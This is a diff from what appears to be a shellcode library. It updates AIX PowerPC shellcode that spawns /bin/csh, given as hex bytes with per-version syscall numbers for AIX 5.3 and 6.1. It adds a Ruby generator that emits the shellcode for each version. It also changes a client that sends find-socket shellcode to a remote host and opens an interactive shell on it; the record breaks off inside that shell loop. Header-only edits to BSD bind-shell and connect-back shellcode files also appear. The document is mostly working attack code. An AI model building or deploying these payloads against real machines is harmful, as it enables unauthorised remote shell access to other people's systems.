* -DV530 AIX 5.3.0
|
||||
* -DAIX614 AIX Version 6.1.4
|
||||
* -DAIX613 AIX Version 6.1.3
|
||||
* -DAIX612 AIX Version 6.1.2
|
||||
* -DAIX611 AIX Version 6.1.1
|
||||
* -DAIX5310 AIX Version 5.3.10
|
||||
* -DAIX539 AIX Version 5.3.9
|
||||
* -DAIX538 AIX Version 5.3.8
|
||||
* -DAIX537 AIX Version 5.3.7
|
||||
*
|
||||
*/
|
||||
|
||||
|
@ -41,7 +40,7 @@
|
|||
.main:
|
||||
|
||||
shellcode:
|
||||
lil %r31,__CAL
|
||||
lil %r29,__CAL
|
||||
xor. %r5,%r5,%r5
|
||||
bnel shellcode
|
||||
mflr %r30
|
||||
|
@ -51,7 +50,7 @@ shellcode:
|
|||
stu %r5,-4(%r1)
|
||||
stu %r3,-4(%r1)
|
||||
mr %r4,%r1
|
||||
cal %r2,__NC_execve(%r31)
|
||||
cal %r2,__NC_execve(%r29)
|
||||
crorc %cr6,%cr6,%cr6
|
||||
.long 0x44ffff02
|
||||
.asciz "/bin/csh"
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: aix-power-shellcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* aix-power-shellcode.c - AIX Power shellcode
|
||||
* aix-power-shellcode.c
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
@ -21,17 +19,21 @@
|
|||
*/
|
||||
|
||||
/*
|
||||
* Currently supported AIX levels.
|
||||
* -DV410 AIX 4.1.0
|
||||
* -DV420 AIX 4.2.0
|
||||
* -DV430 AIX 4.3.0
|
||||
* -DV433 AIX 4.3.3
|
||||
* -DV530 AIX 5.3.0
|
||||
* Supported AIX versions:
|
||||
*
|
||||
* -DAIX614 AIX Version 6.1.4
|
||||
* -DAIX613 AIX Version 6.1.3
|
||||
* -DAIX612 AIX Version 6.1.2
|
||||
* -DAIX611 AIX Version 6.1.1
|
||||
* -DAIX5310 AIX Version 5.3.10
|
||||
* -DAIX539 AIX Version 5.3.9
|
||||
* -DAIX538 AIX Version 5.3.8
|
||||
* -DAIX537 AIX Version 5.3.7
|
||||
*
|
||||
*/
|
||||
|
||||
char shellcode[]= /* 60 bytes */
|
||||
"\x3b\xe0\x01\xff" /* lil r31,511 */
|
||||
"\x3b\xa0\x07\xff" /* lil r29,2047 */
|
||||
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
|
||||
"\x40\x82\xff\xf9" /* bnel <shellcode> */
|
||||
"\x7f\xc8\x02\xa6" /* mflr r30 */
|
||||
|
@ -41,18 +43,34 @@ char shellcode[]= /* 60 bytes */
|
|||
"\x94\xa1\xff\xfc" /* stu r5,-4(r1) */
|
||||
"\x94\x61\xff\xfc" /* stu r3,-4(r1) */
|
||||
"\x7c\x24\x0b\x78" /* mr r4,r1 */
|
||||
#if defined(V410) || defined(V433)
|
||||
"\x38\x5f\xfe\x04" /* cal r2,-508(r31) */
|
||||
#ifdef AIX614
|
||||
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
|
||||
#endif
|
||||
#ifdef V420
|
||||
"\x38\x5f\xfe\x03" /* cal r2,-509(r31) */
|
||||
#ifdef AIX613
|
||||
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
|
||||
#endif
|
||||
#ifdef V430
|
||||
"\x38\x5f\xfe\x05" /* cal r2,-507(r31) */
|
||||
#ifdef AIX612
|
||||
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
|
||||
#endif
|
||||
#ifdef V530
|
||||
"\x38\x42\xfe\x06" /* cal r2,-506(r2) */
|
||||
#ifdef AIX611
|
||||
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
|
||||
#endif
|
||||
#ifdef AIX610
|
||||
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
|
||||
#endif
|
||||
#ifdef AIX5310
|
||||
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
|
||||
#endif
|
||||
#ifdef AIX539
|
||||
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
|
||||
#endif
|
||||
#ifdef AIX538
|
||||
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
|
||||
#endif
|
||||
#ifdef AIX537
|
||||
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
|
||||
#endif
|
||||
|
||||
"\x4c\xc6\x33\x42" /* crorc 6,6,6 */
|
||||
"\x44\xff\xff\x02" /* svca 0 */
|
||||
"/bin/csh"
|
||||
|
|
|
@ -0,0 +1,51 @@
|
|||
/*
|
||||
* aix-power-shellcode.c
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation; either
|
||||
* version 2.1 of the License, or (at your option) any later version.
|
||||
*
|
||||
* This library is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with this library; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*
|
||||
*/
|
||||
|
||||
/*
|
||||
* Supported AIX versions:
|
||||
*
|
||||
* -DAIX614 AIX Version 6.1.4
|
||||
* -DAIX613 AIX Version 6.1.3
|
||||
* -DAIX612 AIX Version 6.1.2
|
||||
* -DAIX611 AIX Version 6.1.1
|
||||
* -DAIX5310 AIX Version 5.3.10
|
||||
* -DAIX539 AIX Version 5.3.9
|
||||
* -DAIX538 AIX Version 5.3.8
|
||||
* -DAIX537 AIX Version 5.3.7
|
||||
*
|
||||
*/
|
||||
|
||||
char shellcode[]= /* 60 bytes */
|
||||
"\x3b\xa0\x07\xff" /* lil r29,2047 */
|
||||
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
|
||||
"\x40\x82\xff\xf9" /* bnel <shellcode> */
|
||||
"\x7f\xc8\x02\xa6" /* mflr r30 */
|
||||
"\x3b\xde\x01\xff" /* cal r30,511(r30) */
|
||||
"\x38\x7e\xfe\x29" /* cal r3,-471(r30) */
|
||||
"\x98\xbe\xfe\x31" /* stb r5,-463(r30) */
|
||||
"\x94\xa1\xff\xfc" /* stu r5,-4(r1) */
|
||||
"\x94\x61\xff\xfc" /* stu r3,-4(r1) */
|
||||
"\x7c\x24\x0b\x78" /* mr r4,r1 */
|
||||
<%= @execve %>
|
||||
"\x4c\xc6\x33\x42" /* crorc 6,6,6 */
|
||||
"\x44\xff\xff\x02" /* svca 0 */
|
||||
"/bin/csh"
|
||||
;
|
||||
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: aix-power.h 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* aix-power.h
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
@ -23,66 +21,78 @@
|
|||
#ifndef AIX_POWER_H
|
||||
#define AIX_POWER_H
|
||||
|
||||
#define __CAL 511
|
||||
#define __CAL 2047
|
||||
|
||||
#ifdef V410
|
||||
#define __NR_execve 3
|
||||
#define __NR_getpeername 67
|
||||
#define __NR_accept 83
|
||||
#define __NR_listen 85
|
||||
#define __NR_bind 86
|
||||
#define __NR_socket 87
|
||||
#define __NR_connect 88
|
||||
#define __NR_close 94
|
||||
#define __NR_kfcntl 214
|
||||
#if defined(AIX614)
|
||||
#define __NR_execve = 7
|
||||
#define __NR_getpeername = 211
|
||||
#define __NR_accept = 237
|
||||
#define __NR_listen = 240
|
||||
#define __NR_bind = 242
|
||||
#define __NR_socket = 243
|
||||
#define __NR_connect = 244
|
||||
#define __NR_close = 278
|
||||
#define __NR_kfcntl = 658
|
||||
#endif
|
||||
|
||||
#ifdef V420
|
||||
#define __NR_execve 2
|
||||
#define __NR_getpeername 72
|
||||
#define __NR_accept 88
|
||||
#define __NR_listen 89
|
||||
#define __NR_bind 90
|
||||
#define __NR_socket 91
|
||||
#define __NR_connect 92
|
||||
#define __NR_close 98
|
||||
#define __NR_kfcntl 231
|
||||
#if defined(AIX613)
|
||||
#define __NR_execve = 7
|
||||
#define __NR_getpeername = 205
|
||||
#define __NR_accept = 232
|
||||
#define __NR_listen = 235
|
||||
#define __NR_bind = 237
|
||||
#define __NR_socket = 238
|
||||
#define __NR_connect = 239
|
||||
#define __NR_close = 272
|
||||
#define __NR_kfcntl = 644
|
||||
#endif
|
||||
|
||||
#ifdef V430
|
||||
#define __NR_execve 4
|
||||
#define __NR_getpeername 85
|
||||
#define __NR_accept 101
|
||||
#define __NR_listen 103
|
||||
#define __NR_bind 104
|
||||
#define __NR_socket 105
|
||||
#define __NR_connect 106
|
||||
#define __NR_close 113
|
||||
#define __NR_kfcntl 252
|
||||
#if defined(AIX612)
|
||||
#define __NR_execve = 7
|
||||
#define __NR_getpeername = 205
|
||||
#define __NR_accept = 232
|
||||
#define __NR_listen = 235
|
||||
#define __NR_bind = 237
|
||||
#define __NR_socket = 238
|
||||
#define __NR_connect = 239
|
||||
#define __NR_close = 272
|
||||
#define __NR_kfcntl = 635
|
||||
#endif
|
||||
|
||||
#ifdef V433
|
||||
#define __NR_execve 3
|
||||
#define __NR_getpeername 101
|
||||
#define __NR_accept 117
|
||||
#define __NR_listen 118
|
||||
#define __NR_bind 119
|
||||
#define __NR_socket 120
|
||||
#define __NR_connect 121
|
||||
#define __NR_close 130
|
||||
#define __NR_kfcntl 271
|
||||
#if defined(AIX611)
|
||||
#define __NR_execve = 7
|
||||
#define __NR_getpeername = 202
|
||||
#define __NR_accept = 229
|
||||
#define __NR_listen = 232
|
||||
#define __NR_bind = 234
|
||||
#define __NR_socket = 235
|
||||
#define __NR_connect = 236
|
||||
#define __NR_close = 269
|
||||
#define __NR_kfcntl = 614
|
||||
#endif
|
||||
|
||||
#ifdef V530
|
||||
#define __NR_execve 5
|
||||
#define __NR_getpeername 122
|
||||
#define __NR_accept 138
|
||||
#define __NR_listen 139
|
||||
#define __NR_bind 140
|
||||
#define __NR_socket 141
|
||||
#define __NR_connect 142
|
||||
#define __NR_close 160
|
||||
#define __NR_kfcntl 322
|
||||
#if defined(AIX610)
|
||||
#define __NR_execve = 6
|
||||
#define __NR_getpeername = 203
|
||||
#define __NR_accept = 229
|
||||
#define __NR_listen = 232
|
||||
#define __NR_bind = 234
|
||||
#define __NR_socket = 235
|
||||
#define __NR_connect = 236
|
||||
#define __NR_close = 269
|
||||
#define __NR_kfcntl = 617
|
||||
#endif
|
||||
|
||||
#if defined(AIX5310) || defined(AIX539) || defined(AIX538) || defined(AIX537)
|
||||
#define __NR_execve = 6
|
||||
#define __NR_getpeername = 198
|
||||
#define __NR_accept = 214
|
||||
#define __NR_listen = 215
|
||||
#define __NR_bind = 216
|
||||
#define __NR_socket = 217
|
||||
#define __NR_connect = 218
|
||||
#define __NR_close = 245
|
||||
#define __NR_kfcntl = 493
|
||||
#endif
|
||||
|
||||
#define __NC_execve -(__CAL - __NR_execve)
|
||||
|
@ -96,3 +106,4 @@
|
|||
#define __NC_kfcntl -(__CAL - __NR_kfcntl)
|
||||
|
||||
#endif
|
||||
|
||||
|
|
|
@ -0,0 +1,228 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
require 'erb'
|
||||
|
||||
class Template
|
||||
attr_accessor :template, :result
|
||||
|
||||
def initialize(filename)
|
||||
begin
|
||||
f = File.new(filename)
|
||||
@template = f.read
|
||||
rescue Errno::ENOENT
|
||||
end
|
||||
end
|
||||
|
||||
def parse
|
||||
@result = ERB.new(@template).result(binding)
|
||||
end
|
||||
|
||||
def get_result
|
||||
result
|
||||
end
|
||||
end
|
||||
|
||||
class Source < Template
|
||||
attr_accessor :__CAL
|
||||
attr_accessor :__NR_execve
|
||||
attr_accessor :__NR_getpeername
|
||||
attr_accessor :__NR_accept
|
||||
attr_accessor :__NR_listen
|
||||
attr_accessor :__NR_bind
|
||||
attr_accessor :__NR_socket
|
||||
attr_accessor :__NR_connect
|
||||
attr_accessor :__NR_close
|
||||
attr_accessor :__NR_kfcntl
|
||||
attr_accessor :__cal
|
||||
attr_accessor :_cal
|
||||
attr_accessor :cal
|
||||
attr_accessor :ver
|
||||
|
||||
def initialize(filename)
|
||||
@__CAL = 2047
|
||||
@__cal = "\x38\x5d"
|
||||
@_cal = Hash.new
|
||||
@cal = Hash.new
|
||||
@ver = String.new
|
||||
|
||||
@execve = ''
|
||||
@getpeername = ''
|
||||
@accept = ''
|
||||
@listen = ''
|
||||
@bind = ''
|
||||
@socket = ''
|
||||
@connect = ''
|
||||
@close = ''
|
||||
@kfcntl = ''
|
||||
|
||||
super(filename)
|
||||
end
|
||||
|
||||
def parse
|
||||
__NC_execve = -(__CAL - __NR_execve)
|
||||
__NC_getpeername = -(__CAL - __NR_getpeername)
|
||||
__NC_accept = -(__CAL - __NR_accept)
|
||||
__NC_listen = -(__CAL - __NR_listen)
|
||||
__NC_bind = -(__CAL - __NR_bind)
|
||||
__NC_socket = -(__CAL - __NR_socket)
|
||||
__NC_connect = -(__CAL - __NR_connect)
|
||||
__NC_close = -(__CAL - __NR_close)
|
||||
__NC_kfcntl = -(__CAL - __NR_kfcntl)
|
||||
|
||||
_cal[ver] = {
|
||||
:execve => __cal + [__NC_execve].pack('n'),
|
||||
:getpeername => __cal + [__NC_getpeername].pack('n'),
|
||||
:accept => __cal + [__NC_accept].pack('n'),
|
||||
:listen => __cal + [__NC_listen].pack('n'),
|
||||
:bind => __cal + [__NC_bind].pack('n'),
|
||||
:socket => __cal + [__NC_socket].pack('n'),
|
||||
:connect => __cal + [__NC_connect].pack('n'),
|
||||
:close => __cal + [__NC_close].pack('n'),
|
||||
:kfcntl => __cal + [__NC_kfcntl].pack('n'),
|
||||
}
|
||||
|
||||
cal = Hash.new
|
||||
cal[ver] = Hash.new
|
||||
|
||||
_cal[ver].each_pair do |key, value|
|
||||
cal[ver][key] = Array.new
|
||||
cal[ver][key] << String.new
|
||||
cal[ver][key][-1] << '#ifdef AIX%s' % ver.delete('.')
|
||||
cal[ver][key][-1] << "\n"
|
||||
cal[ver][key][-1] << '"'.rjust(5)
|
||||
value.each_byte do |c|
|
||||
cal[ver][key][-1] << '\x%02x' % c
|
||||
end
|
||||
cal[ver][key][-1] << '"'.ljust(7)
|
||||
cal[ver][key][-1] << '/* cal r2,-%d(r29)' %
|
||||
(65536 - value.unpack('nn')[1])
|
||||
cal[ver][key][-1] << '*/'.rjust(15)
|
||||
cal[ver][key][-1] << "\n"
|
||||
cal[ver][key][-1] << "#endif"
|
||||
cal[ver][key][-1] << "\n"
|
||||
end
|
||||
|
||||
cal.each_pair do |key, ver|
|
||||
ver.each_pair do |key, value|
|
||||
instance_variable_get("@#{key}").concat(value[-1])
|
||||
end
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
class Parser
|
||||
def initialize(filename)
|
||||
@src = Source.new(filename)
|
||||
end
|
||||
|
||||
def parse
|
||||
vers = [
|
||||
'6.1.4',
|
||||
'6.1.3',
|
||||
'6.1.2',
|
||||
'6.1.1',
|
||||
'6.1.0',
|
||||
'5.3.10',
|
||||
'5.3.9',
|
||||
'5.3.8',
|
||||
'5.3.7',
|
||||
]
|
||||
|
||||
vers.each do |ver|
|
||||
case ver
|
||||
when '6.1.4'
|
||||
__NR_execve = 7
|
||||
__NR_getpeername = 211
|
||||
__NR_accept = 237
|
||||
__NR_listen = 240
|
||||
__NR_bind = 242
|
||||
__NR_socket = 243
|
||||
__NR_connect = 244
|
||||
__NR_close = 278
|
||||
__NR_kfcntl = 658
|
||||
|
||||
when '6.1.3'
|
||||
__NR_execve = 7
|
||||
__NR_getpeername = 205
|
||||
__NR_accept = 232
|
||||
__NR_listen = 235
|
||||
__NR_bind = 237
|
||||
__NR_socket = 238
|
||||
__NR_connect = 239
|
||||
__NR_close = 272
|
||||
__NR_kfcntl = 644
|
||||
|
||||
when '6.1.2'
|
||||
__NR_execve = 7
|
||||
__NR_getpeername = 205
|
||||
__NR_accept = 232
|
||||
__NR_listen = 235
|
||||
__NR_bind = 237
|
||||
__NR_socket = 238
|
||||
__NR_connect = 239
|
||||
__NR_close = 272
|
||||
__NR_kfcntl = 635
|
||||
|
||||
when '6.1.1'
|
||||
__NR_execve = 7
|
||||
__NR_getpeername = 202
|
||||
__NR_accept = 229
|
||||
__NR_listen = 232
|
||||
__NR_bind = 234
|
||||
__NR_socket = 235
|
||||
__NR_connect = 236
|
||||
__NR_close = 269
|
||||
__NR_kfcntl = 614
|
||||
|
||||
when '6.1.0'
|
||||
__NR_execve = 6
|
||||
__NR_getpeername = 203
|
||||
__NR_accept = 229
|
||||
__NR_listen = 232
|
||||
__NR_bind = 234
|
||||
__NR_socket = 235
|
||||
__NR_connect = 236
|
||||
__NR_close = 269
|
||||
__NR_kfcntl = 617
|
||||
|
||||
when '5.3.10', '5.3.9', '5.3.8', '5.3.7'
|
||||
__NR_execve = 6
|
||||
__NR_getpeername = 198
|
||||
__NR_accept = 214
|
||||
__NR_listen = 215
|
||||
__NR_bind = 216
|
||||
__NR_socket = 217
|
||||
__NR_connect = 218
|
||||
__NR_close = 245
|
||||
__NR_kfcntl = 493
|
||||
|
||||
end
|
||||
|
||||
@src.__NR_execve = __NR_execve
|
||||
@src.__NR_getpeername = __NR_getpeername
|
||||
@src.__NR_accept = __NR_accept
|
||||
@src.__NR_listen = __NR_listen
|
||||
@src.__NR_bind = __NR_bind
|
||||
@src.__NR_socket = __NR_socket
|
||||
@src.__NR_connect = __NR_connect
|
||||
@src.__NR_close = __NR_close
|
||||
@src.__NR_kfcntl = __NR_kfcntl
|
||||
|
||||
@src.ver = ver
|
||||
@src.parse
|
||||
end
|
||||
end
|
||||
|
||||
def get_result
|
||||
@src.get_result
|
||||
end
|
||||
end
|
||||
|
||||
filename = ARGV.shift || exit
|
||||
|
||||
parser = Parser.new(filename)
|
||||
parser.parse
|
||||
print parser.get_result
|
||||
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: bsd-x86-bndsockcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* bsd-x86-bndsockcode.c
|
||||
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: bsd-x86-bndsockcode.s 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* bsd-x86-bndsockcode.s
|
||||
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: bsd-x86-cntsockcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* bsd-x86-cntsockcode.c
|
||||
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: bsd-x86-cntsockcode.s 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* bsd-x86-cntsockcode.s
|
||||
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: bsd-x86-fndsockcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* bsd-x86-fndsockcode.c
|
||||
* Copyright 2006 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: bsd-x86-fndsockcode.s 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* bsd-x86-fndsockcode.s
|
||||
* Copyright 2006 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: bsd-x86-shellcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* bsd-x86-shellcode.c
|
||||
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
/*
|
||||
* $Id: bsd-x86-shellcode.s 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* bsd-x86-shellcode.s
|
||||
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: fndsockclient.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* fndsockclient.c - Sample fndsockcode client for testing purposes
|
||||
* fndsockclient.c
|
||||
* Copyright 2006 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
|
@ -32,176 +30,184 @@
|
|||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
|
||||
#if defined(AIX) && (defined(POWER) || defined(POWERPC))
|
||||
#if defined(_AIX)
|
||||
#include "aix-power-fndsockcode.c"
|
||||
#elif defined(BSD) && defined(X86)
|
||||
#elif defined(__bsd__) && defined(__i386__)
|
||||
#include "bsd-x86-fndsockcode.c"
|
||||
#elif defined(LINUX) && (defined(POWER) || defined(POWERPC)) && defined(M64)
|
||||
#elif defined(__linux__) && defined(__powerpc64__)
|
||||
#include "lin-power-fndsockcode64.c"
|
||||
#elif defined(LINUX) && (defined(POWER) || defined(POWERPC))
|
||||
#elif defined(__linux__) && defined(__powerpc__)
|
||||
#include "lin-power-fndsockcode.c"
|
||||
#elif defined(LINUX) && defined(X86)
|
||||
#elif defined(__linux__) && defined(__i386__)
|
||||
#include "lin-x86-fndsockcode.c"
|
||||
#elif defined(OSX) && defined(X86)
|
||||
#elif defined(__osx__) && defined(__i386__)
|
||||
#include "osx-x86-fndsockcode.c"
|
||||
#elif defined(SOLARIS) && defined(X86)
|
||||
#elif defined(__solaris__) && defined(__i386__)
|
||||
#include "sol-x86-fndsockcode.c"
|
||||
#else
|
||||
#error "Unsupported operating system and/or architecture."
|
||||
#endif
|
||||
|
||||
int
|
||||
hexdump(char *buf, int len)
|
||||
{
|
||||
int i, j;
|
||||
int i, j;
|
||||
|
||||
for (i=0; i<len; i++) {
|
||||
for (j=0; j<16; j++) {
|
||||
if (i+j >= len)
|
||||
printf("%3s","");
|
||||
else
|
||||
printf("%02x ", (unsigned char)buf[i+j]);
|
||||
}
|
||||
for (i=0; i<len; i++) {
|
||||
for (j=0; j<16; j++) {
|
||||
if (i+j >= len)
|
||||
printf("%3s","");
|
||||
else
|
||||
printf("%02x ", (unsigned char)buf[i+j]);
|
||||
}
|
||||
|
||||
printf("%3s","");
|
||||
printf("%3s","");
|
||||
|
||||
for (j=0; j<16; j++) {
|
||||
if (i+j >= len)
|
||||
printf("%1s","");
|
||||
else
|
||||
if (buf[i+j]>'\x1f' && buf[i+j]<'\x7f')
|
||||
printf("%c", buf[i+j]);
|
||||
else
|
||||
printf(".");
|
||||
}
|
||||
for (j=0; j<16; j++) {
|
||||
if (i+j >= len)
|
||||
printf("%1s","");
|
||||
else
|
||||
if (buf[i+j]>'\x1f' && buf[i+j]<'\x7f')
|
||||
printf("%c", buf[i+j]);
|
||||
else
|
||||
printf(".");
|
||||
}
|
||||
|
||||
i += 15;
|
||||
i += 15;
|
||||
|
||||
printf("\n");
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
char *addr = "0.0.0.0";
|
||||
int port = 1234;
|
||||
int c, s;
|
||||
int debug = 0, verbose = 0;
|
||||
struct sockaddr_in sin;
|
||||
struct hostent *he;
|
||||
socklen_t sin_len = sizeof(sin);
|
||||
int count;
|
||||
char *buf;
|
||||
char *addr = "0.0.0.0";
|
||||
int port = 1234;
|
||||
int c, s;
|
||||
int debug = 0, verbose = 0;
|
||||
struct sockaddr_in sin;
|
||||
struct hostent *he;
|
||||
socklen_t sin_len = sizeof(sin);
|
||||
int count;
|
||||
|
||||
while ((c = getopt(argc, argv, "a:dp:v")) != -1) {
|
||||
switch (c) {
|
||||
case 'a':
|
||||
addr = optarg;
|
||||
break;
|
||||
case 'd':
|
||||
debug = 1;
|
||||
break;
|
||||
case 'p':
|
||||
port = atoi(optarg);
|
||||
break;
|
||||
case 'v':
|
||||
verbose = 1;
|
||||
}
|
||||
}
|
||||
while ((c = getopt(argc, argv, "a:dp:v")) != -1) {
|
||||
switch (c) {
|
||||
case 'a':
|
||||
addr = optarg;
|
||||
break;
|
||||
case 'd':
|
||||
debug = 1;
|
||||
break;
|
||||
case 'p':
|
||||
port = atoi(optarg);
|
||||
break;
|
||||
case 'v':
|
||||
verbose = 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (debug || verbose)
|
||||
printf("using %s:%d\n", addr, port);
|
||||
if (debug || verbose)
|
||||
printf("using %s:%d\n", addr, port);
|
||||
|
||||
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
|
||||
perror("socket");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
|
||||
perror("socket");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
memset(&sin, 0, sizeof(sin));
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons(port);
|
||||
if ((sin.sin_addr.s_addr = inet_addr(addr)) == -1) {
|
||||
if ((he = gethostbyname(addr)) == NULL) {
|
||||
errno = EADDRNOTAVAIL;
|
||||
perror("gethostbyname");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
memcpy(&sin.sin_addr.s_addr, he->h_addr, 4);
|
||||
}
|
||||
memset(&sin, 0, sizeof(sin));
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons(port);
|
||||
if ((sin.sin_addr.s_addr = inet_addr(addr)) == -1) {
|
||||
if ((he = gethostbyname(addr)) == NULL) {
|
||||
errno = EADDRNOTAVAIL;
|
||||
perror("gethostbyname");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
memcpy(&sin.sin_addr.s_addr, he->h_addr, 4);
|
||||
}
|
||||
|
||||
if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
|
||||
perror("connect");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
|
||||
perror("connect");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (debug || verbose)
|
||||
printf("connected to %s:%d\n", addr, port);
|
||||
if (debug || verbose)
|
||||
printf("connected to %s:%d\n", addr, port);
|
||||
|
||||
if (getsockname(s, (struct sockaddr *)&sin, &sin_len)) {
|
||||
perror("getsockname");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (getsockname(s, (struct sockaddr *)&sin, &sin_len)) {
|
||||
perror("getsockname");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
#if defined(__LP64__)
|
||||
fndsockcode64[FNDSOCKPORT] = (unsigned char)((ntohs(sin.sin_port)>>8)&0xff);
|
||||
fndsockcode64[FNDSOCKPORT+1] = (unsigned char)(ntohs(sin.sin_port)&0xff);
|
||||
|
||||
if ((count = send(s, fndsockcode64, sizeof(fndsockcode64)-1, 0)) == -1) {
|
||||
perror("send");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (debug)
|
||||
hexdump(fndsockcode64, sizeof(fndsockcode64)-1);
|
||||
|
||||
#if defined(M64)
|
||||
#define BUFSIZE sizeof(fndsockcode64)
|
||||
buf = fndsockcode64;
|
||||
#else
|
||||
#define BUFSIZE sizeof(fndsockcode)
|
||||
buf = fndsockcode;
|
||||
fndsockcode[FNDSOCKPORT] = (unsigned char)((ntohs(sin.sin_port)>>8)&0xff);
|
||||
fndsockcode[FNDSOCKPORT+1] = (unsigned char)(ntohs(sin.sin_port)&0xff);
|
||||
|
||||
if ((count = send(s, fndsockcode, sizeof(fndsockcode)-1, 0)) == -1) {
|
||||
perror("send");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (debug)
|
||||
hexdump(fndsockcode, sizeof(fndsockcode)-1);
|
||||
|
||||
#endif
|
||||
|
||||
buf[FNDSOCKPORT] = (unsigned char)((ntohs(sin.sin_port)>>8)&0xff);
|
||||
buf[FNDSOCKPORT+1] = (unsigned char)(ntohs(sin.sin_port)&0xff);
|
||||
if (debug || verbose)
|
||||
printf("%d bytes sent\n", count);
|
||||
|
||||
if ((count = send(s, buf, BUFSIZE-1, 0)) == -1) {
|
||||
perror("send");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
sleep(4);
|
||||
|
||||
if (debug)
|
||||
hexdump(buf, BUFSIZE-1);
|
||||
write(s, "uname -a\n", 9);
|
||||
while (1) {
|
||||
fd_set fds;
|
||||
int count;
|
||||
char buf[1024];
|
||||
|
||||
if (debug || verbose)
|
||||
printf("%d bytes sent\n", count);
|
||||
FD_ZERO(&fds);
|
||||
FD_SET(0, &fds);
|
||||
FD_SET(s, &fds);
|
||||
if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) == -1) {
|
||||
if (errno == EINTR)
|
||||
continue;
|
